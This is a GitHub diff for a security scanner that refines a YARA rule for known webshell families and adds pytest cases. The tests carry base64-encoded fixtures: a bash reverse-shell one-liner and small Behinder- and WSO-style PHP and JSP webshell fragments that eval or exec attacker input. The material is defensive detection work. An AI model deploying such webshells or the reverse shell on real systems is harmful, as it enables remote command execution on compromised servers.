Skip to content
15 changes: 12 additions & 3 deletions src/skillspector/yara_rules/webshells.yar
Original file line number Diff line number Diff line change
Expand Up @@ -56,17 +56,26 @@ rule php_webshell_known
$c99v2 = "c99_sess_put" nocase
$r57 = "r57shell" nocase
$wso = "Web Shell by oRb" nocase
$wso2 = "WSO " nocase
$wso_ex = "wsoEx(" nocase ascii
$wso_ver = "WSO_VERSION" nocase ascii
$wso_sec = "wsoSecParam" nocase ascii
$b374k = "b374k" nocase
$alfa = "STARTER ALFA" nocase
$weevely = "weevely" nocase
$p0wny = "p0wny" nocase
$antsword = "antSword" nocase
$behinder = "behinder" nocase
$behinder_key = { 65 34 35 65 33 32 39 66 65 62 35 64 39 32 35 62 } // AES key, md5("rebeyond")[:16]
$behinder_php_tag = /<\?(php|=|[ \t\r\n])/ nocase ascii
$behinder_server_tag = /<%(@|[ \t\r\n])/ ascii
$godzilla = "GodzillaShell" nocase
$china_chopper = "China Chopper" nocase
condition:
any of them
any of (
$c99, $c99v2, $r57, $wso, $b374k, $alfa, $weevely,
$p0wny, $antsword, $godzilla, $china_chopper
)
or 2 of ($wso_ex, $wso_ver, $wso_sec)
or ($behinder_key and any of ($behinder_php_tag, $behinder_server_tag))
}

rule python_webshell
Expand Down
53 changes: 53 additions & 0 deletions tests/nodes/analyzers/test_static_yara.py
Original file line number Diff line number Diff line change
Expand Up @@ -87,6 +87,18 @@ def _reverse_shell_fixture() -> str:
return base64.b64decode("YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx").decode()


_WEBSHELL_FIXTURES = {
"behinder_php": "PD9waHAgQGVycm9yX3JlcG9ydGluZygwKTsgc2Vzc2lvbl9zdGFydCgpOyAka2V5PSJlNDVlMzI5ZmViNWQ5MjViIjsKJF9TRVNTSU9OWydrJ109JGtleTsgJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CiRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOyBldmFsKCRwb3N0KTsgPz4K",
"behinder_jsp": "PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qIiU+CjwlIFN0cmluZyBrPSJlNDVlMzI5ZmViNWQ5MjViIjsgc2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7CkNpcGhlciBjPUNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7ICU+Cg==",
"wso_php": "PD9waHAgZGVmaW5lKCdXU09fVkVSU0lPTicsICcyLjUnKTsKZnVuY3Rpb24gd3NvRXgoJGluKSB7ICRvdXQ9Jyc7IGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7IEBleGVjKCRpbiwkb3V0KTsgfQpyZXR1cm4gJG91dDsgfQo=",
"wso_mixed_case": "PD9waHAgZGVmaW5lKCJ3c29fdmVyc2lvbiIsICIyLjciKTsKZnVuY3Rpb24gV1NPRVgoJGluKSB7IHJldHVybiAkaW47IH0K",
}


def _webshell_fixture(name: str) -> str:
return base64.b64decode(_WEBSHELL_FIXTURES[name]).decode()


def _has_rule(findings: list, rule_name: str) -> bool:
"""Return True when a finding message references a specific YARA rule."""
return any(rule_name in f.message for f in findings)
Expand Down Expand Up @@ -553,6 +565,47 @@ def test_credential_webhook_requires_collection_and_transmission(self):
findings = _run_builtin(content, "README.md")
assert not _has_rule(findings, "agent_skill_credential_exfiltration_webhook")

@pytest.mark.parametrize(
"content",
[
"Zu kleine Schrift behindert das Lesen. Menschen mit Behinderung\n"
"brauchen ausreichende Kontraste.\n",
"We deploy the API on WSO 2 Micro Integrator.\n",
"This skill detects Behinder and WSO webshells in uploaded files.\n",
],
ids=["german_prose", "wso2_product_name", "family_names_in_docs"],
)
def test_known_webshell_rule_ignores_prose(self, content):
findings = _run_builtin(content, "SKILL.md")
assert not _has_rule(findings, "php_webshell_known")

@pytest.mark.parametrize(
"content",
[
"<?php define('WSO_VERSION', '0.5.2'); ?>\n",
"function wsoEx($input) { return $input; }\n",
"function wsoSecParam($name, $value) { return $value; }\n",
"Known indicator: e45e329feb5d925b\n",
],
ids=["version_constant", "execution_helper", "security_helper", "key_in_docs"],
)
def test_known_webshell_rule_ignores_isolated_family_markers(self, content):
findings = _run_builtin(content, "reference.php")
assert not _has_rule(findings, "php_webshell_known")

@pytest.mark.parametrize(
("fixture", "filename"),
[
("behinder_php", "shell.php"),
("behinder_jsp", "shell.jsp"),
("wso_php", "shell.php"),
("wso_mixed_case", "shell.php"),
],
)
def test_known_webshell_rule_matches_family_markers(self, fixture, filename):
findings = _run_builtin(_webshell_fixture(fixture), filename)
assert _has_rule(findings, "php_webshell_known")


# ── Rule caching ──────────────────────────────────────────────────────

Expand Down